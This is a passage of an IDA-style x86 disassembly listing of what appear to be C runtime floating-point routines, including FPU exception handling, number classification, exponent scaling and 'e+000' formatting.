					; sub_417779+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_417A19
		dec	ecx
		jz	short loc_417A10
		dec	ecx
		jnz	short loc_417A22
		and	[esi], edx
		jmp	short loc_417A22
; ---------------------------------------------------------------------------


loc_417A10:				; CODE XREF: sub_417779+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_417A20
; ---------------------------------------------------------------------------


loc_417A19:				; CODE XREF: sub_417779+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_417A20:				; CODE XREF: sub_417779+29Ej
		mov	[esi], ecx


loc_417A22:				; CODE XREF: sub_417779+291j
					; sub_417779+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A2C	proc near		; CODE XREF: sub_4176E1+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_417A57
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_417A57
		push	ebx
		call	sub_417ED9
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_417C21
; ---------------------------------------------------------------------------


loc_417A57:				; CODE XREF: sub_417A2C+15j
					; sub_417A2C+1Aj
		test	al, 4
		jz	short loc_417A71
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_417A71
		push	4
		call	sub_417ED9
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_417C21
; ---------------------------------------------------------------------------


loc_417A71:				; CODE XREF: sub_417A2C+2Dj
					; sub_417A2C+33j
		test	al, bl
		jz	loc_417B4B
		test	byte ptr [ebp+arg_8], 8
		jz	loc_417B4B
		push	8
		call	sub_417ED9
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_417B23
		cmp	ecx, 400h
		jz	short loc_417AFB
		cmp	ecx, 800h
		jz	short loc_417AD3
		cmp	ecx, eax
		jnz	loc_417B43
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fld	ds:dbl_42D3F8
		fnstsw	ax
		sahf
		ja	short loc_417ACB
		fchs


loc_417ACB:				; CODE XREF: sub_417A2C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417AD3:				; CODE XREF: sub_417A2C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jbe	short loc_417AEB
		fld	ds:dbl_42D3E8
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------


loc_417AEB:				; CODE XREF: sub_417A2C+B5j
		fld	ds:dbl_42D3F8
		fchs


loc_417AF3:				; CODE XREF: sub_417A2C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417AFB:				; CODE XREF: sub_417A2C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jbe	short loc_417B13
		fld	ds:dbl_42D3F8
		jmp	short loc_417B1B
; ---------------------------------------------------------------------------


loc_417B13:				; CODE XREF: sub_417A2C+DDj
		fld	ds:dbl_42D3E8
		fchs


loc_417B1B:				; CODE XREF: sub_417A2C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B23:				; CODE XREF: sub_417A2C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41F7A8
		fld	ds:dbl_42D3E8
		fnstsw	ax
		sahf
		ja	short loc_417B3B
		fchs


loc_417B3B:				; CODE XREF: sub_417A2C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_417B41:				; CODE XREF: sub_417A2C+A5j
					; sub_417A2C+CDj ...
		fstp	qword ptr [ecx]


loc_417B43:				; CODE XREF: sub_417A2C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_417C21
; ---------------------------------------------------------------------------


loc_417B4B:				; CODE XREF: sub_417A2C+47j
					; sub_417A2C+51j
		test	al, 2
		jz	loc_417C21
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_417C21
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_417B66
		mov	esi, ebx


loc_417B66:				; CODE XREF: sub_417A2C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jz	loc_417C0F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_417DD8
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_417BB1
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_417C05
; ---------------------------------------------------------------------------


loc_417BB1:				; CODE XREF: sub_417A2C+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jnb	short loc_417BC3
		mov	edx, ebx
		jmp	short loc_417BC5
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417A2C+191j
		xor	edx, edx


loc_417BC5:				; CODE XREF: sub_417A2C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_417BF9
		sub	eax, ecx


loc_417BDC:				; CODE XREF: sub_417A2C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_417BE7
		test	esi, esi
		jnz	short loc_417BE7
		mov	esi, ebx


loc_417BE7:				; CODE XREF: sub_417A2C+1B3j
					; sub_417A2C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_417BF3
		or	byte ptr [ebp+var_C+3],	80h


loc_417BF3:				; CODE XREF: sub_417A2C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_417BDC


loc_417BF9:				; CODE XREF: sub_417A2C+1ACj
		test	edx, edx
		jz	short loc_417C05
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_417C05:				; CODE XREF: sub_417A2C+183j
					; sub_417A2C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_417C11
; ---------------------------------------------------------------------------


loc_417C0F:				; CODE XREF: sub_417A2C+14Ej
		mov	esi, ebx


loc_417C11:				; CODE XREF: sub_417A2C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_417C1E
		push	10h
		call	sub_417ED9
		pop	ecx


loc_417C1E:				; CODE XREF: sub_417A2C+1E8j
		and	edi, 0FFFFFFFDh


loc_417C21:				; CODE XREF: sub_417A2C+26j
					; sub_417A2C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_417C38
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_417C38
		push	20h
		call	sub_417ED9
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_417C38:				; CODE XREF: sub_417A2C+1F9j
					; sub_417A2C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_417A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417C43(int, int, int,	int, int, int, double, int)

sub_417C43	proc near		; CODE XREF: sub_41768E+2Bp
					; sub_4176E1+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_417CF1
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_417CAE
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_417EB6
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B8A3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_417CA8
		push	esi
		call	sub_417CCB
		pop	ecx


loc_417CA8:				; CODE XREF: sub_417C43+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_417CAE:				; CODE XREF: sub_417C43+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_417EB6
		push	[ebp+arg_0]
		call	sub_417CCB
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_417C43	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CCB	proc near		; CODE XREF: sub_4176E1+7Dp
					; sub_417C43+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_417CE6
		jle	short locret_417CF0
		cmp	eax, 3
		jg	short locret_417CF0
		mov	ds:dword_45E804, 22h
		retn
; ---------------------------------------------------------------------------


loc_417CE6:				; CODE XREF: sub_417CCB+7j
		mov	ds:dword_45E804, 21h

locret_417CF0:				; CODE XREF: sub_417CCB+9j
					; sub_417CCB+Ej
		retn
sub_417CCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CF1	proc near		; CODE XREF: sub_417C43+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_42D310


loc_417CF8:				; CODE XREF: sub_417CF1+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_417D0E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_42D3E8
		jl	short loc_417CF8
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417D0E:				; CODE XREF: sub_417CF1+Dj
		mov	eax, ds:off_42D314[ecx*8]
		retn
sub_417CF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D16	proc near		; CODE XREF: sub_4176E1+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_417D22
		push	5
		jmp	short loc_417D38
; ---------------------------------------------------------------------------


loc_417D22:				; CODE XREF: sub_417D16+6j
		test	al, 8
		jz	short loc_417D2A
		push	1
		jmp	short loc_417D38
; ---------------------------------------------------------------------------


loc_417D2A:				; CODE XREF: sub_417D16+Ej
		test	al, 4
		jz	short loc_417D32
		push	2
		jmp	short loc_417D38
; ---------------------------------------------------------------------------


loc_417D32:				; CODE XREF: sub_417D16+16j
		test	al, 1
		jz	short loc_417D3A
		push	3


loc_417D38:				; CODE XREF: sub_417D16+Aj
					; sub_417D16+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_417D3A:				; CODE XREF: sub_417D16+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_417D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417D43(double)

sub_417D43	proc near		; CODE XREF: sub_413F02:loc_413F88p
					; sub_41404B:loc_4140D1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_417D43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417D55(double, int)

sub_417D55	proc near		; CODE XREF: sub_417DD8+82p
					; sub_417DD8+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_417D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D7E	proc near		; CODE XREF: sub_413F02+31p
					; sub_41404B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_417D95
		cmp	[ebp+arg_0], edx
		jnz	short loc_417DA7
		push	1
		jmp	short loc_417DD1
; ---------------------------------------------------------------------------


loc_417D95:				; CODE XREF: sub_417D7E+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_417DA7
		cmp	[ebp+arg_0], edx
		jnz	short loc_417DA7
		push	2
		jmp	short loc_417DD1
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417D7E+11j
					; sub_417D7E+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_417DBA
		push	3
		jmp	short loc_417DD1
; ---------------------------------------------------------------------------


loc_417DBA:				; CODE XREF: sub_417D7E+36j
		cmp	cx, 7FF0h
		jnz	short loc_417DD4
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_417DCF
		cmp	[ebp+arg_0], edx
		jz	short loc_417DD4


loc_417DCF:				; CODE XREF: sub_417D7E+4Aj
		push	4


loc_417DD1:				; CODE XREF: sub_417D7E+15j
					; sub_417D7E+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417DD4:				; CODE XREF: sub_417D7E+41j
					; sub_417D7E+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_417D7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DD8(double, int)

sub_417DD8	proc near		; CODE XREF: sub_417A2C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41F7A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_417DF8
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_417E8E
; ---------------------------------------------------------------------------


loc_417DF8:				; CODE XREF: sub_417DD8+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_417E67
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_417E10
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_417E67


loc_417E10:				; CODE XREF: sub_417DD8+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_41F7A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_417E28
		push	1
		pop	eax
		jmp	short loc_417E2A
; ---------------------------------------------------------------------------


loc_417E28:				; CODE XREF: sub_417DD8+49j
		xor	eax, eax


loc_417E2A:				; CODE XREF: sub_417DD8+4Ej
					; sub_417DD8+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_417E43
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_417E3D
		or	dword ptr [ebp+arg_0+4], 1


loc_417E3D:				; CODE XREF: sub_417DD8+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_417E2A
; ---------------------------------------------------------------------------


loc_417E43:				; CODE XREF: sub_417DD8+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_417E51
		or	byte ptr [ebp+arg_0+7],	80h


loc_417E51:				; CODE XREF: sub_417DD8+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_417D55
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_417E8E
; ---------------------------------------------------------------------------


loc_417E67:				; CODE XREF: sub_417DD8+28j
					; sub_417DD8+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_417D55
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_417E8E:				; CODE XREF: sub_417DD8+1Bj
					; sub_417DD8+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_417DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E99	proc near		; CODE XREF: sub_417779+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_417E99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EA7	proc near		; CODE XREF: sub_417779+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_417EA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EB6	proc near		; CODE XREF: sub_413F02+13p
					; sub_413F02+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_417EB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ED9	proc near		; CODE XREF: sub_417A2C+1Dp
					; sub_417A2C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_417EF0
		fld	ds:tbyte_42D410
		fistp	[ebp+arg_0]
		wait


loc_417EF0:				; CODE XREF: sub_417ED9+Bj
		test	cl, 8
		jz	short loc_417F05
		fstsw	ax
		fld	ds:tbyte_42D410
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_417F05:				; CODE XREF: sub_417ED9+1Aj
		test	cl, 10h
		jz	short loc_417F14
		fld	ds:tbyte_42D41C
		fstp	[ebp+var_8]
		wait


loc_417F14:				; CODE XREF: sub_417ED9+2Fj
		test	cl, 4
		jz	short loc_417F22
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_417F22:				; CODE XREF: sub_417ED9+3Ej
		test	cl, 20h
		jz	short locret_417F2D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_417F2D:				; CODE XREF: sub_417ED9+4Cj
		leave
		retn
sub_417ED9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F2F	proc near		; CODE XREF: sub_413FD1+Fp
		push	30000h
		push	10000h
		call	sub_41B8DB
		pop	ecx
		pop	ecx
		retn
sub_417F2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F41	proc near		; CODE XREF: sub_417F7F:loc_417FA3j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41F7B8
		fstp	[ebp+var_8]
		fld	ds:dbl_41F7B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_41F668
		fnstsw	ax
		sahf
		jbe	short loc_417F7B
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_417F7B:				; CODE XREF: sub_417F41+33j
		xor	eax, eax
		leave
		retn
sub_417F41	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F7F	proc near		; CODE XREF: sub_413FD1+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0A70000h
		and	eax, 1574C085h
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_41F0B0
		test	eax, eax
		jz	short loc_417FA3
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_417FA3:				; CODE XREF: sub_417F7F+1Dj
		jmp	sub_417F41
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FA8	proc near		; DATA XREF: sub_413FE9+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_415223
		cmp	eax, 65h
		pop	ecx
		jz	short loc_417FE8


loc_417FBC:				; CODE XREF: sub_417FA8+3Ej
		inc	esi
		cmp	ds:dword_42D2FC, 1
		jle	short loc_417FD5
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_417FE4
; ---------------------------------------------------------------------------


loc_417FD5:				; CODE XREF: sub_417FA8+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_42D0F0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_417FE4:				; CODE XREF: sub_417FA8+2Bj
		test	eax, eax
		jnz	short loc_417FBC


loc_417FE8:				; CODE XREF: sub_417FA8+12j
		mov	cl, ds:byte_42D300
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_417FF3:				; CODE XREF: sub_417FA8+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_417FF3
		pop	esi
		retn
sub_417FA8	endp

; ---------------------------------------------------------------------------


loc_418002:				; DATA XREF: sub_413FE9+5o
		mov	eax, [esp+4]
		mov	dl, ds:byte_42D300
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41801E


loc_418012:				; CODE XREF: seg000:0041801Cj
		cmp	cl, dl
		jz	short loc_41801E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_418012


loc_41801E:				; CODE XREF: seg000:00418010j
					; seg000:00418014j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41804F


loc_418025:				; CODE XREF: seg000:00418036j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_418038
		cmp	cl, 65h
		jz	short loc_418038
		cmp	cl, 45h
		jz	short loc_418038
		inc	eax
		jmp	short loc_418025
; ---------------------------------------------------------------------------


loc_418038:				; CODE XREF: seg000:00418029j
					; seg000:0041802Ej ...
		mov	ecx, eax


loc_41803A:				; CODE XREF: seg000:0041803Ej
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41803A
		cmp	[eax], dl
		jnz	short loc_418045
		dec	eax


loc_418045:				; CODE XREF: seg000:00418042j
					; seg000:0041804Dj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_418045

locret_41804F:				; CODE XREF: seg000:00418023j
		retn
; ---------------------------------------------------------------------------


loc_418050:				; DATA XREF: sub_413FE9+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_41F7A8
		fnstsw	ax
		sahf
		jb	short loc_418065
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418065:				; CODE XREF: seg000:0041805Fj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418068	proc near		; DATA XREF: sub_413FE9+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_418091
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41BD9E
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418091:				; CODE XREF: sub_418068+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41BDCB
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180A6	proc near		; CODE XREF: sub_418323+17p
					; sub_41836D+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_45E870,	0
		push	ebx
		push	esi
		jz	short loc_4180DB
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_45E86C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4183BE
		pop	ecx
		pop	ecx
		jmp	short loc_418113
; ---------------------------------------------------------------------------


loc_4180DB:				; CODE XREF: sub_4180A6+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41BE6F
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41BDF8
		add	esp, 14h


loc_418113:				; CODE XREF: sub_4180A6+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41811F
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41811F:				; CODE XREF: sub_4180A6+73j
		test	ebx, ebx
		jle	short loc_418137
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_42D300
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_418137:				; CODE XREF: sub_4180A6+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_45E870,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_413CC0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41815E
		mov	byte ptr [ecx],	45h


loc_41815E:				; CODE XREF: sub_4180A6+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_4181A3
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_418172
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_418172:				; CODE XREF: sub_4180A6+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_418189
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_418189:				; CODE XREF: sub_4180A6+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_4181A0
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4181A0:				; CODE XREF: sub_4180A6+E7j
		add	[ecx+1], bl


loc_4181A3:				; CODE XREF: sub_4180A6+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180A6	endp


; =============== S U B	R O U T	I N E =======================================



